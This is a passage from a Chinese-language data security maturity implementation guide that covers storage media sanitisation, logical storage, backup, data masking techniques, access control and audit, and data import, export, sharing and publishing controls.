——存储介质及其类型定义,比如物理实体介质(磁盘/硬盘/),虚拟存储介质(容器/虚拟盘) 等; ——不同分类分级的存储介质要求; ——存储介质购买和可信渠道审批要求; ——存储介质使用审批和净化处理要求,比如对介质访问的身份识别,权限控制,以及数据清理 或销毁等; ——存储介质标记要求,比如分类,标签及其有效期等; ——存储介质入库和保存要求,比如介质库存放要注意防尘、防潮,远离高温和强磁场,以及保 存期限等; ——存储介质使用的常规和随机审查要求,比如对介质定期检查,以防信息丢失; l 技术工具: ——介质净化工具,主要是针对物理实体介质(磁盘/硬盘/) 10.3.1.3 过程域充分定义级实施指南 l 制度流程参考: 案例1:《xxxx信息中心存储介质安全管理规定》关键内容: 存储介质定义 安全管理员职责 ! 34! 存储介质管理要求 存储介质中数据测试 存储介质维修要求 存储介质销毁和报废要求 附件:使用/维修/报废登记表 案例2:《xxxx公司介质安全管理规范》关键内容: 存储介质及其分类定义 介质存放环境要求:仓库/指定区域/防尘防潮防静电/防盗/监控/出入库登记 介质运输安全:发货/收货 介质使用规范:申请工单/使用人登记 介质维修规范: 返厂/操作人/时间/场地等 介质销毁规范:消磁机/SSD数据擦除机/销毁平台/销毁方式/销毁记录等 l 技术工具参考: 市面上针对存储介质上数据的消除工具,很多还是根据基于国家保密局颁发的BMB21-2007《涉 及国家秘密的载体销毁与信息消除安全保密要求》为标准研发的。支持对硬盘、软盘、U盘、CF卡 等多种存储介质的信息消除。消除方法灵活多样,既可以对计算机上的硬盘直接进行信息消除,也 可以对拆卸下来的硬盘等进行信息消除。存储介质被信息消除后仍然可以根据国家保密局的相关规 定重复使用。 比如某信息清除工具的主要功能: 系统平台:基于Windows操作系统平台,可限度的利用Windows对各种存储介质的兼容性优势 擦除速度:擦除速度可利用当前计算机的CPU频率,避免ARM和工控机结构擦除工具带来的CPU 速度瓶颈问题 介质类型:可擦除硬盘、U盘、CF卡等各种存储介质,的存储兼容性 擦除效率:最多可以同时擦除25个存储介质,擦除效率高 擦除方法:既可以对整个存储介质进行擦除,也可以对分区进行擦除,还可以删除指定文件 目录和单个文件,根据要求,还可以清除未使用的扇区和磁道 状态显示:各种状态显示完整,用户对消除过程一目了然 稳定性能:擦除过程中拔插存储介质不影响工具的正常运行,稳定性好 擦除标识:信息消除后可以打印出不干胶贴,粘帖在介质上,方便识别 ! 存储介质主要包括: ! 35! 磁带:分为Type I、II、III等3类,Type I指磁化记录时的磁场强度为350厄斯特(oersted, 磁场强度单位,缩写为Oe)以下,Type II介于351与750Oe之间,Type III则大于750Oe; 目前最普遍使用的LTO-3、4磁带,磁场强度便分别高达2600与2710Oe。 磁盘:包括Bernoulli式磁盘、软盘、不可移动的硬盘与可移动的硬盘等4种类型。 光盘:包括可多次读写、只读与一次写入多次读取(WORM)等3种。 内存:包括动态随机存取内存(DRAM)、静态随机存取内存(SRAM)、只读存储器(ROM)、 可程序化只读存储器(PROM)、可程序化可抹除只读存储器(EPROM)、快闪EPROM(Flash EPROM)、电子可变只读存储器(EAPROM)、电子可抹除只读存储器(EEPROM)、非挥发 性RAM(NOVRAM),还有古老的磁芯、磁泡、磁阻与镀磁线等13种内存。 l 标准参考: ——BMB21-2007《涉及国家秘密的载体销毁与信息消除安全保密要求》 ——SJ 20901-2004 硬磁盘信息消除器通用规范 10.3.2 PA08 逻辑存储安全 10.3.2.1 过程域设定背景和目标 针对存储容器和存储架构的安全要求,比如认证鉴权、访问控制、日志管理、通信举证、文件防病毒 等安全配置,以及安全配置策略,以保证数据存储安全。 10.3.2.2 过程域具体标准要求解读 l 制度流程: ——逻辑存储系统和存储设备定义; ——逻辑存储系统架构设计及其安全要求; ——逻辑存储的安全配置规则,以及配置变更和发布要求; ——逻辑存储的多租户隔离、授权管理规范要求; ——存储设备安全管理规范和操作规程,如标准操作流程、维护操作流程、应急操作流程等; ——存储系统的账号和权限、日志管理、加密管理、版本升级等要求。 l 技术工具: ——定期对重要的数据存储系统其安全配置进行扫描,以保证符合安全基线要求。 ——采集存储系统的操作日志,识别访问账号和鉴别权限,监测数据使用规范性和合理性。 10.3.2.3 过程域充分定义级实施指南 ! 36! l 制度流程参考: 案例1:《XXX存储系统的安全配置》: 认证鉴权:存储系统通过管理平面认证和业务平面的认证,限制可访问存储系统的维 护终端及应用服务器。当用户使用存储系统时,只有认证通过后才能对存储系统执行 管理操作,并对存储系统上的业务数据进行读写操作。 访问控制:提供GUI和CLI两种方式供用户访问存储系统,并对管理资源和业务资源进 行访问控制,以确保存储设备和业务数据的安全。 日志管理:按时间顺序记录存储系统发生的一系列活动。日志记录可以帮助用户按照 顺序搭建及测试周边环境,也可以帮助用户了解在与安全相关的事务中所涉及到的操 作、流程以及事件的整体信息。 安全策略:管理界面配置用户名策略、密码策略、登录策略和帐号审计策略的方法 通信矩阵:各类组件所使用的数据传输端口是存储系统通讯重要的部件。当用户对网 络配置安全性要求较高时,请先了解各类组件所需的网络端口类型,以便在搭建组网 时,开启相应的端口,以便链路正常连接。 安全加固:对存储系统的弱点进行识别和修复,消除或降低存储系统的安全隐患。 OceanStor 2200 V3/2600 V3存储系统支持对操作系统加固、Web服务加固、HTTP服务 加固以及其他组件加固。 文件防病毒:当存储系统运行文件业务并通过CIFS共享将文件系统共享给客户端时, 利用第三方防病毒软件触发病毒扫描,及时清理被病毒感染的文件,可以提高存储系 统的安全性。 ! 案例2:《Oracle逻辑存储结构介绍》: 逻辑存储结构:逻辑存储层次结构和逻辑空间管理 数据块:数据块和操作系统块、数据块格式、数据块压缩、数据块的空间管理 扩展区:分配扩展区、 释放扩展区、扩展区的存储参数 段概述:用户段、临时段、撤销段、段空间和高水位标记 表空间:永久表空间、临时表空间、表空间模式、表空间文件大小、实验 管理归档日志:预备知识、归档重做日志文件、利用归档恢复过程 l 标准参考: ——GB∕T 31916.1-2015《信息技术云数据存储和管理 第 1 部分:总则》 10.3.3 PA09 数据备份和恢复 10.3.3.1 过程域设定背景和目标 ! 37! 备份与恢复是为了提高信息系统的高可用性和灾难可恢复性,在数据库系统崩溃的时候,没有数据库 备份就没法找到数据。保证数据可用性是数据安全的基础。 10.3.3.2 过程域具体标准要求解读 l 制度流程: ——数据服务可靠性和可用性安全保护目标 ——数据存储冗余策略和设计指导; ——数据复制、备份与恢复的操作规程,如数据复制、备份和恢复的范围、频率、工具、过程、 日志记录规范、数据保存时长等 ——数据复制、数据备份与恢复的定期检查和更新工作要求,如数据副本更新频率、保存期限等, 确保数据副本或备份数据的有效性等。 l 技术工具: ——数据备份和恢复的技术工具要统一,并做到自动化执行。 ——对已备份的数据要有安全管理技术手段,包括但不限于对备份数据的访问控制、压缩或加密 管理、完整性和可用性管理。 10.3.3.3 过程域充分定义级实施指南 l 制度流程参考: 案例1:《XXX公司电子数据备份和恢复管理规程》关键内容: 术语定义:备份/恢复/存档 备份整体要求和原则 独立数据文件:全量和增量 稳健性数据库备份 关系型数据库备份 备份周期 备份完整性检查 备份数据的存储介质要求及其标识 恢复场景 备份日志 相关表格模板:备份记录、检查记录 案例2:《XXX公司数据备份和恢复管理规范》关键内容: ! 38! 总则:备份和恢复管理范围、关键信息系统定义、管理团队等; 数据备份、归档和恢复原则; 存储、备份设备及相关设备管理; 备份和恢复相关人员职责 运维管理流程 惩罚措施 l 技术工具参考: 业界很成熟的技术,这里不赘述。 l 标准参考: ——GB∕T 31500-2015《信息安全技术 存储介质数据恢复服务要求》 ——GBT 22239-2008《信息安全技术 信息系统安全等级保护基本要求》 10.4 数据处理安全 10.4.1 PA10 数据脱敏 10.4.1.1 过程域设定背景和目标 数据作为一种重要的生产资料,充分分析与挖掘数据的内在价值成为了现代企业创新成长的必经之路, 但同时敏感数据的泄露风险也与日俱增。严格意义上来讲,任何有权限访问数据的人员,均有可能导致敏 感数据的泄露。另一方面,没有数据访问权限的人员,也可能有对该数据进行分析挖掘的需求,数据的访 问约束大大限制了充分挖掘数据价值的范围。数据脱敏技术通过将敏感数据进行数据的变形,为用户提供 虚假数据而非真实数据,实现敏感隐私数据的可靠保护。这样就可以在开发、测试和其它非生产环境以及 外包环境中安全地使用脱敏后的真实数据集,既保护了组织的敏感信息不泄露,又达到了挖掘数据价值的 目标。本过程域的设定,即要求组织通过建立脱敏机制,来防止组织敏感数据的泄露。 10.4.1.2 过程域具体标准要求解读 本过程域要求组织根据相关法律法规、标准的要求,以及组织自身业务的需求,明确需要脱敏的业务 场景、规范要求及使用的脱敏工具。 l 制度流程: ——要求组织建立统一的数据脱敏制度规范和流程,明确数据脱敏的业务场景,以及在不同业务 应用场景下数据脱敏的规则和方法,这里重点强调的是组织需要统一策略,统一规范。 ——脱敏应跟使用者的业务权限和数据的使用场景来动态调整,用户申请对敏感数据的访问处理 ! 39! 时,应根据使用者的岗位职责、业务范围等,来评估其使用真实数据的必要性,并根据其业 务职责来选择不同的数据脱敏规则及方法。 l 技术工具: ——要求组织具备统一的数据脱敏工具,数据脱敏工具应具备静态脱敏和动态脱敏的功能。 ——脱敏工具应与组织的数据权限管理平台实现联动,可以根据使用者的职责权限或者业务处理 活动动态化的调整脱敏的规则,职责权限一般用来决定他可以访问哪些敏感数据,业务处理 活动则主要决定采用哪些脱敏方式,例如用户展现的敏感数据则可以通过部分数据遮蔽等方 式实现,用户开发测试的数据则通过同义替换的方式实现。 ——脱敏工具对数据的脱敏操作过程都应该留存日志记录,以审核违规使用和恶意行为,防止意 外的敏感数据泄露。 10.4.1.3 过程域充分定义级实施指南 l 制度流程参考: 以下数据在使用时应进行脱敏处理。 ——个人信息:能够单独或者与其他信息结合识别特定自然人身份或者反映特定自然人活动情况 的各种信息。包括个人基本资料、个人身份信息、个人生物识别信息、网络身份标识信息、 个人健康生理信息、个人教育工作信息、个人财产信息、个人通信信息、联系人信息、个人 上网记录、个人常用设备信息、个人位置信息等。具体可参考 GB/T35273 《信息安全技术 个 人信息安全规范》 ——组织敏感信息:涉及到组织的商业秘密、经营状况、核心技术的重要信息,包括但不限于客 户信息、供应商信息、产品开发信息、关键人事信息、财务信息等。 ——国家重要数据:国家重要数据是指组织在境内收集、产生、控制的不涉及国家秘密,但与国 家安全、经济发展、社会稳定,以及企业和公共利益密切相关的数据,包括这些数据的原始 数据和衍生数据。 l 技术工具参考: 脱敏在技术实现上,主要有以下几种技术方式: 1) 泛化技术。在保留原始数据局部特征的前提下使用一般值替代原始数据,泛化后的数据具有不 可逆性,具体的技术方法包括但不限于: a) 数据截断:直接舍弃业务不需要的信息,仅保留部分关键信息,例如将手机号码13500010001 截断为135; b) 日期偏移取整:按照一定粒度对时间进行向上或向下偏移取整,可在保证时间数据一定分布 特 征的情况下隐藏原始时间,例如将时间20150101 01:01:09按照5秒钟粒度向下取整得到 20150101 01:01:05; ! 40! c) 规整:将数据按照大小规整到预定义的多个档位,例如将客户资产按照规模分为高、中、低 三 个级别,将客户资产数据用这三个级别代替。 2) 抑制技术。通过隐藏数据中部分信息的方式来对原始数据的值进行转换,又称为隐藏技术,具 体的技术方法,具体的技术方法包括但不限于: a) 掩码:用通用字符替换原始数据中的部分信息,例如将手机号码13500010001经过掩码得到 135****0001,掩码后的数据长度与原始数据一样。 3) 扰乱技术。通过加入噪声的方式对原始数据进行干扰,以实现对原始数据的扭曲、改变,扰乱 后的数据仍保留着原始数据的分布特征,具体的技术方法包括但不限于: a) 加密:使用加密算法对原始数据进行加密,例如将编号12345加密为abcde; b) 重排:将原始数据按照特定的规则进行重新排列,例如将序号12345重排为54321; c) 替换:按照特定规则对原始数据进行替换,如统一将女性性别替换为F; d) 重写:参考原数据的特征,重新生成数据。重写与整体替换较为类似,但替换后的数据与原 始 数据通常存在特定规则的映射关系,而重写生成的数据与原始数据则一般不具有映射关 系。例如对雇员工资,可使用在一定范围内随机生成的方式重新构造数据; e) 均化:针对数值性的敏感数据,在保证脱敏后数据集总值或平均值与原数据集相同的情况下, 改变数值的原始值; f) 散列: 即对原始数据取散列值,使用散列值来代替原始数据。 4) 有损技术。通过损失部分数据的方式来保护整个敏感数据集,适用于数据集的全部数据汇总后 才构成敏感信息的场景,具体的技术方法包括但不限于: a) 限制返回行数:仅仅返回可用数据集合中一定行数的数据,例如商品配方数据,只有在拿到 所有配方数据后才具有意义,可在脱敏时仅返回一行数据; b) 限制返回列数:仅仅返回可用数据集合中一定列数的数据,例如在查询人员基本信息时,对 于某些敏感列,不包含在返回的数据集中。 数据脱敏的核心是实现数据可用性和安全性之间的平衡,既要考虑系统开销,满足业务系统的需求, 又要兼顾最小可用原则,最大限度的敏感信息泄露。因此在实施过程中,也应该围绕这两个点进行规范。 即首先需要对敏感数据进行识别和定义,其次基于使用者的职责以及业务范围判断他是否需要使用这些敏 感数据,他用这些数据来做哪些事,然后基于这些判断来选择数据脱敏的方法和技术措施。例如开发人员 需要用这些数据进行测试的,应满足能够保留数据属性特征,可以采用扰乱等脱敏方式。如果是要投到大 屏做展示用的,则可以选择掩码方式隐藏部分敏感内容。企业应结合自身业务开展的情况,分类分析数据 需要脱敏的场景,规范每种场景下数据脱敏的规则和流程。组织在确定好数据脱敏的场景和脱敏的规则并 形成制度文件后,就可以选择配置相关的数据脱敏工具,统一在业务系统中部署,配合制度文件的落实。 l 标准参考: ! 41! ——ISO&IEC 27038_2014《数字脱敏规范》 ——DB52/T 1126-2016《政府数据 数据脱敏工作指南》 10.4.2 PA11 数据分析安全 10.4.2.1 过程域设定背景和目标 在大数据环境下,企业对多来源多类型数据集进行关联分析和深度挖掘,可以复原匿名化数据,进而 能够识别特定个人,获取有价值的个人信息或敏感数据。本过程域的设定用于规范数据分析的行为,通过 在数据分析过程采取适当的安全控制措施,防止数据挖掘、分析过程中有价值信息和个人隐私泄露的安全 风险。 10.4.2.2 过程域标准要求解读 l 制度流程: ——制定数据分析过程中数据资源操作规范和实施指南,明确各种分析算法可获取的数据来源和 授权使用范围,并明确相关的数据保护要求。 ——建立对数据分析结果进行风险评估的机制,确保衍生数据不超过原始数据的授权范围和安全 使用要求,避免分析结果输出中包含可恢复的个人信息、重要数据等数据和结构标识,从而 防止个人信息、重要数据等敏感信息的泄漏。 l 技术工具: ——具备对个人信息去标识化的处理工具,通过对个人信息的技术处理,使其在不借助额外信息 的情况下,无法识别特定的个人。 ——具备对个人身份信息、重要或敏感数据进行处理操作的日志记录工具,以便对分析的结果进 行溯源,对分析的行为进行审核。 10.4.2.3 过程域充分定义级实施指南 数据分析是数据产生价值的关键,是为了提取有用信息和形成结论而对收集来的数据加以详细研究和 概括总结的过程。数据分析的目的是把隐没在一大批看来杂乱无章的数据中的信息集中、萃取和提炼出来, 以找出所研究对象的内在规律,在实际应用中,数据分析可帮助人们做出预测性的判断,以便采取适当的 行动。本过程域的数据分析特指组织有目的收集数据、分析数据,使之成为对组织经营有帮助的信息内容, 数据分析过程往往会获取一些对于组织来说较为敏感的数据,因此需要对分析的过程进行安全控制。 l 制度流程参考: 可从以下几方面来考虑数据安全分析制度规范: ! 42! 1) 明确各种数据分析工具所用到的算法是什么,以及该算法如何具体使用数据,使用哪些数据,并 对算法本身进行风险评估,以确定该算法输出的分析结果不会涉及到用户个人隐私和组织的敏感 信息。 2) 明确哪些人员可以使用数据分析工具,开展哪些分析业务,根据最少够用原则,允许其获取完成 业务所需的最少数据集。 3) 制定数据分析结果审核机制,规定数据分析的结果需经过二次评估后才允许导出,重点评估分析 结果是否与使用者所申报的使用范围一致。 4) 对于分析算法的变更要重新进行风险评估,以确保算法的变更不会导致敏感信息和个人隐私的泄 露。 5) 应在制度中规定数据分析者不能将分析结果数据用于授权范围外的其他业务。 l 技术工具参考: 在技术工具的选择上,对需要汇聚大量个人信息进行分析的业务场景,应选取具有个人信息去标识化 的工具, 断开这些信息和个人信息主体的关联,确保数据集中后无法联系到个人主体。具体可参考《个 人信息去标识化指南》附录A的内容,选择合适的个人去标识化技术工具。 其次数据分析工具应具备日志记录功能,记录完整的数据分析过程日志,并实时传输到日志集中平台, 确保数据分析事件可被审计和追溯。 l 标准参考: ——GB∕T 35274-2017《信息安全技术 大数据服务安全能力要求》6.4 节“数据处理” 10.4.3 PA12 数据正当使用 10.4.3.1 过程域设定背景和目标 大数据时代,数据的价值越来越高,容易导致组织内部合法人员被数据的价值吸引而违规、违法的获 取、处理和泄露数据。该过程域的设立,通过建立数据使用过程中的相关责任和管控机制,保证数据的正 当使用。 10.4.3.2 过程域标准要求解读 l 制度流程: ——制定整体的数据权限管理制度,基于国家相关的法律法规要求以及组织数据分类分级标准规 范,建立不同类别和级别的数据访问授权规则和授权流程,明确谁申请、谁授权、谁审批、 谁使用、谁监管,确保所有的数据使用过程都是经过授权和审批的。 ——建立数据使用者安全责任制度,确保数据使用者在事先声明的使用目的和范围内使用受保护 ! 43! 的数据,并在使用过程中采取保护措施。 l 技术工具: ——具备统一的身份及访问管理平台,实现对数据访问人员的统一账号管理、统一认证、统一授 权、统一审计,确保组织数据权限管理制度的有效执行。 ——身份及访问管理平台应具备双因素认证,以及细粒度的授权能力。 10.4.3.3 过程域充分定义级实施指南 l 制度流程参考: 在组织的数据授权管理制度上,应具备以下几点要求: 1) 明确授权审批的整个流程,关键节点的人员职责; 2) 如需使用个人信息,必须取得个人信息主体的明示同意; 3) 数据授权过程应遵循最少够用原则,即给与使用者完成业务处理活动的最少数据集; 4) 定期审核当前的数据资源访问权限是否合理 5) 违规处罚的制度和惩罚措施 l 技术工具参考: 数据权限管理平台可参考业界成熟的IAM系统,同时可部署日志审计类产品,集中收集数据使用过程 中的日志,进行行为分析和操作溯源,以备潜在违约使用者责任的识别和追责。 l 标准参考: ——GB∕T 35274-2017《信息安全技术 大数据服务安全能力要求》6.4 节“数据处理” 10.4.4 PA13 数据处理环境安全 10.4.4.1 过程域设定背景和目标 数据处理的安全是指如何有效的防止数据在录入、处理、统计或打印中由于硬件故障、断电、死机、 人为的误操作、程序缺陷、病毒或黑客等造成的数据库损坏或数据丢失现象,某些敏感或保密的数据可能 不具备资格的人员或操作员阅读,而造成数据泄密等后果。本过程域设定用于保护数据在处理过程中不被 损坏、丢失或窃取,建立数据处理的环境保护机制,保障数据处理过程中有完整的安全管理和技术支持。 10.4.4.2 过程域具体标准要求解读 该过程域要求组织机构采用统一的数据计算、开发平台,确保数据在处理过程中的安全性。为数据处 理环境建立和采用的技术和管理的安全保护,保护计算机硬件、软件和数据不因偶然和恶意的原因遭到破 坏、更改和泄露。 l 制度流程:! ! 44! ——建立统一的数据计算、开发平台,在平台上实现统一的安全管理措施。 ——在平台的设计、开发和运维阶段都需要相应的安全技术控制手段,来实现对平台全生命周期 的风险管理。 l 技术工具:! ——需要同步和联动数据处理平台和数据权限管理平台的权限设置,确保用户在使用数据处理平 台前已经获得数据权限管理平台的授权。 ——针对大数据处理平台多租户的特性,需要对租户之间进行逻辑隔离,确保该租户在平台中的 数据、系统功能、会话、调度和运营环境等资源独立运行。 ——要在数据处理的同时设置日志管理工具,针对用户的数据处理操作进行记录和审计,为后续 的事件追溯提供依据。 ——基于云平台的数据处理平台,还要通过伪装风险监测、恶意篡改监测技术来保障各个工作环 节的功能稳定。 10.4.4.3 过程域充分定义级实施指南 通过数据处理平台进行统一管理,采取严格的访问控制、监控审计和职责分离来确保数据处理安全。 Ø 网络访问控制 1.网络隔离 平台对生产数据网络与非生产数据网络进行安全隔离,从非生产网络不能直接访问生产网络的任何服 务器和网络设备,也就不能从非生产网络发起对生产网络的攻击。 租户之间网络及设备进行安全隔离,内部无法直接访问租户间的服务器和网络设备。 2.堡垒机 为了平衡效率和安全性,在运维入口部署了堡垒机,只允许办公网的运维人员可以快速通过堡垒机进 入数据处理平台进行运维管理。 运维人员登录堡垒机时使用域账号密码加动态口令方式进行双因素认证。堡垒机使用高强度加密算法 保障运维通道数据传输的机密性和完整性。 3.远程运维 不在公司的员工提供远程运维通道。运维人员预先申请VPN接入公司办公网之后访问堡垒机的权限。 VPN拨入公司办公网络的接入区时使用域账号密码加动态口令方式进行双因素认证。再从办公网接入区访 问堡垒机。VPN使用高强度加密算法保障运维通道数据传输的机密性和完整性。 Ø 账号管理和身份认证 数据处理平台使用统一的账号管理和身份认证系统。每个员工存在唯一的账号。账号的唯一性保证了 审计时可以定位到个人。集中下发密码策略,强制要求员工设置符合密码长度、复杂度要求的密码,并定 期修改密码。账号管理和身份认证的集中,使得其他信息系统不需要管理身份信息,也不需要保存多余的 ! 45! 账号密码,从而降低了应用的复杂性,提高了账号的安全性。账号管理与授权管理分离还可以防止私建账 号越权操作行为。 Ø 授权 数据权限管理平台统一的权限申请和授权管理系统。基于员工工作岗位和角色,遵循最小权限和职责 分离原则,授予员工有限的资源访问权限。员工根据工作需要通过权限管理平台申请VPN访问权限、堡垒 机访问权限、管控平台以及生产系统访问权限,经主管、数据或系统所有者、安全管理员以及相关部门审 批后,进行授权。 运维和审计实施职责分离,由安全管理部门负责审计。数据库管理员和系统管理员由不同的人担任。 适当的职责分离能有效防止权限滥用和审计失效。 Ø 监控 使用自动化监控系统对云平台网络设备、服务器、数据库、应用集群以及核心业务进行全面实时监控。 监控系统展示云平台关键运营指标,并可配置告警阈值,当关键运营指标超过设置的告警阈值时,自动通 知运维和管理人员。 Ø 审计 员工对数据处理平台的所有运维操作必须且只能通过堡垒机进行。所有操作过程完整记录下来实时传 输到集中日志平台。堡垒机对于Linux操作记录所有命令行,对于Windows操作录屏并记录键盘操作。 员工需要通过数据处理平台唯一的数据权限管理账号对数据进行处理、访问和使用,所有的操作及过 程都会完整的记录下来实时传输到集中日志平台。 l 标准参考: ——GB∕T 35274-2017《信息安全技术 大数据服务安全能力要求》6.4 节“数据处理” 10.5 数据交换安全 10.5.1 PA14 数据导入导出安全 10.5.1.1 过程域设定背景和目标 数据导入导出广泛存在于数据交换过程中,通过数据导入导出,数据被批量化流转,加速数据应用 价值的体现。如果没有安全保障措施,非法人员可能通过非法技术手段导出非授权数据,导入恶意数据 等,带来数据篡改和数据泄漏的重大事故,由于一般数据导入导出的数据量都很大,因此相关安全风险 和安全危害也会被乘倍放大。在本过程域中,需要采用有效的制度和工具控制数据导入导出的安全风险。 10.5.1.2 过程域具体标准要求解读 l 制度流程:! ! 46! 数据导入导出安全保障的制度流程,应当首先建立数据导入导出安全制度规范,规范导入导出安 全策略,然后规范相应的权限审批和授权流程,同时也需要建立数据导出介质的安全技术标准, 保障导出介质的合法合规使用。! —— 建立数据导入导出的安全制度规范,对各业务中的导入导出场景进行了充分合理的安全需求 分析,能够依据不同的场景,并基于数据分类分级要求定义数据导入导出安全策略,例如访 问控制策略、不一致处理策略、流程控制策略、审计策略、日志管理策略等。 —— 建立规范的数据导入导出的安全审核和授权流程,流程中包括但不限于数据导入导出的业务 方、数据在组织机构内部的管理方、相应的安全管理团队,以及根据组织机构数据导入导出 的规范要求所需参与具体风险判定的相关方,如法律团队、对外公关团队、财务数据对外管 理团队等其他重要的与数据价值保护相关的团队。 —— 建立针对导出数据介质的标识规范,明确介质的命名规则、标识属性等重要信息,定期验证 导出数据的完整性和可用性。 l 技术工具:! —— 建立数据导入导出审核流程的在线平台,组织机构内部的对数据导入导出可通过平台进行审 核并详细记录,确保没有超出数据服务提供者的数据授权使用范围。 —— 建立针对数据导入导出过程的安全技术方案,对数据导入导出终端、用户或服务组件执行有 效的访问控制,实现对其身份的真实性和合法性的保证。 —— 针对数据导入导出的日志建立相应的管理和审计方案,以保证对导入导出过程中的相关日志 信息的有效记录,并通过定期的审计工作开展发现其中存在的安全风险。 10.5.1.3 过程域充分定义级实施指南 l 制度流程参考: 案例:《XX集团数据导入导出安全管理规范》关键内容: 总体说明(目的) 导入导出场景 安全要求(包含工具、介质等) 岗位职责说明 导入导出工具 导入导出流程 l 技术工具参考: ! 47! 建立独立的数据导入导出安全控制平台,或者与在统一的用户认证平台、权限管理平台,流程审批平 台,监控审计平台中支持数据导入导出的安全控制功能。具体核心功能如下: 数据导入导出权限管理:权限管理设置数据目录或者数据资产的导入导出访问权限,包括但不限 于访问范围、访问人员分组,访问时间,访问频次等。 数据导入导出审批人管理:支持设置数据访问权限的审核人和审批人,支持设置多级审批人。 数据导入导出工作流管理:建立数据导入导出工作流机制,对于数据导入导出进行审核和授权。 数据操作人员通过工作流申请数据导入导出权限,通过审核和授权后,遵循数据导入导出权限管 理的数据导入导出才能被允许执行。 数据导入导出身份认证:对于数据导入导出的操作人员进行多重身份鉴定,包括双因子认证等, 确保操作人员身份的合法性。 数据导入导出完整性验证:为了防止数据在导入导出过程中被篡改,数据导入导出增加完整性保 护,在导入导出完成后需要进行完整性效验,确保数据合法性。 数据导入导出日志审计和风险控制:对于数据导入导出的所有操作和行为进行日志记录,并对高 危行为进行风险识别。在安全事件发生后,能通过安全日志快速进行回溯分析。 l 标准参考: ——GB∕T 35274-2017《信息安全技术 大数据服务安全能力要求》6.5 节“数据交换” 10.5.2 PA15 数据共享安全 10.5.2.1 过程域设定背景和目标 在数据交换环节中,业务系统将数据共享给外部组织机构,或者以合作方式与第三方合作伙伴交换数 据,数据在共享后释放更大价值,并支撑数据业务的深入开展。 数据共享过程中面临巨大安全风险,数据本身存在敏感性,共享保护措施不当将带来敏感数据和重要 数据的泄漏。因此,在本过程域中,需要采取安全保护措施保障数据共享后数据的完整性、保密性和可用 性,防止数据丢失、篡改、假冒和泄露。 10.5.2.2 过程域具体标准要求解读 l 制度流程:! —— 组织机构制定了数据共享的原则及数据保护措施,该要求从国家安全、组织机构的核心价值 保护、个人信息保护等方面的数据共享的风险控制提出了要求,明确数据共享涉及机构或部 门的相关职责和权限,明确共享数据相关的使用者的数据保护责任,确保数据使用的相关方 ! 48! 具有对共享数据足够的保护能力,从而保障数据共享安全策略的有效性。 —— 组织机构在原则要求的基础上根据组织机构对数据共享涉及的数据类型、数据内容、数据格 式、以及对数据共享的常见场景制定了细化的规范要求,以满足数据共享业务场景需求范围, 提高数据共享效率,指导具体数据共享场景的风险把控。 —— 组织机构建立了规范的数据共享的审核流程,审核流程中包括但不限于数据共享的业务方、 共享数据在组织机构内部的管理方、数据共享的安全管理团队,以及根据组织机构数据共享 的规范要求所需参与具体风险判定的相关方,如法律团队、对外公关团队、财务数据对外管 理团队等其他重要的与数据价值保护相关的团队,确保共享的数据未超出授权范围。 —— 组织机构制定了数据共享审计策略和审计日志管理规范,明确审计记录要求,为数据共享安 全事件的处置、应急响应和事后调查提供帮助。 —— 针对数据交换过程中涉及到第三方的数据交换加工平台的场景,组织机构制定了明确的安全 评估的要求和流程,以保证该数据交换加工平台已符合组织机构对数据交换过程中的数据安 全要求。 l 技术工具:! —— 组织机构建立了数据共享审核流程的在线平台,组织机构内部的对外数据共享可通过平台进 行审核并详细记录,确保没有超出数据服务提供者的数据所有权和授权使用范围。 —— 利用数据加密、安全通道等措施保护数据共享过程中的个人信息、重要数据等敏感信息。 —— 建立数据共享过程的监控工具,对共享数据及数据共享服务过程进行监控,确保共享的数据 未超出授权范围。 —— 建立数据共享审计和审计日志管理的工具,明确审计记录要求,为数据共享安全事件的处置、 应急响应和事后调查提供帮助。 10.5.2.3 过程域充分定义级实施指南 l 制度流程参考:! 案例暂无 l 技术工具参考:! 建立数据共享安全管理平台,或者与在统一的用户认证平台、权限管理平台,流程审批平台,监控审 计平台中支持数据共享的安全控制功能,并结合数据脱敏等数据保护技术保护敏感数据。数据共享安全工 具对于共享资源的数据目录或者数据资产进行安全管理,确保共享数据的规范性和安全性,主要核心功能 如下: 数据共享目录审核确认工作流:建立了数据共享审核流程确认工作流,对共享数据的目录进行审 核,确保没有超出数据服务提供者的数据所有权和授权使用范围。 ! 49! 数据共享权限审批人管理:支持设置数据共享权限的审核人和审批人,支持设置多级审批人。 敏感数据保护:如果共享数据中包含重要数据、个人隐私数据等敏感数据,支持对于共享数据进 行加密、脱敏等数据保护工具处理后再共享,有效保护敏感数据。 数据安全交换:如果共享数据中包含重要数据、个人隐私数据等敏感数据,因为数据有效性不能 对数据进行匿名化处理,需要支持数据进行安全交换,做到数据“可用不可见”。在用户不直接 接触原始数据的情况下,依然可以使用共享数据进行计算分析得到结果。 数据共享日志审计和风险控制:对于数据共享的所有操作和行为进行日志记录,并对高危行为进 行风险识别。在安全事件发生后,能通过安全日志快速进行回溯分析。 10.5.3 PA16 数据发布安全 10.5.3.1 过程域设定背景和目标 数据发布是指组织内部数据通过各种途径向外部组织公开的一个过程,如数据开放、企业宣传、网站 内容发布、社交媒体发布、PPT资料对外宣讲等,防止出现违规对外披露造成对组织的名誉损害,资产损 失等不良影响事件发生。数据发布安全保障发布内容的真实性、正确性、实效性和准确性。 10.5.3.2 过程域具体标准要求解读 l 制度流程: ——数据发布管理制度是建立在数据分类分级的基础上,针对可对外公开和发布的数据进行发布 前、发布中、发布后安全管理过程,包括发布前的数据内容、发布范围等审核,发布中对定 期审查,以及发布后可能出现不良影响的应急处理机制; l 技术工具: ——建立数据资源公开数据库、数据发布平台和应急处理平台,实现公共数据资源登记、数据资 源发布和数据发布事件应急响应功能。 ——建立数据资源公开数据库,实现公开数据资源登记、发布用户注册、发布数据和发布组件验 证互认机制等功能 ——建立数据发布平台,实现数据服务相关数据资源公告、资格审查、成交信息、履约信息等数 据发布功能。 ——建立数据资源公开事件应急处理平台,对于各类安全事件进行有效应急处置。 10.5.3.3 过程域充分定义级实施指南 ! 50! l 管理流程参考: 案例:《XX组织数据发布安全管理制度》关键内容: 明确数据发布的内容和适用范围 数据发布相关人员职责和分工 数据发布的管理和审核流程 数据发布事件应急处理流程 数据发布的监管要求 l 技术工具参考: 浙江省政务公开服务平台:http://data.zjzwfw.gov.cn 深圳数据开放平台:http://opendata.sz.gov.cn l 标准参考: ——GB∕T 35274-2017《信息安全技术 大数据服务安全能力要求》6.5.4 节“数据发布安全” 10.5.4 PA17 数据接口安全 10.5.4.1 过程域设定背景和目标 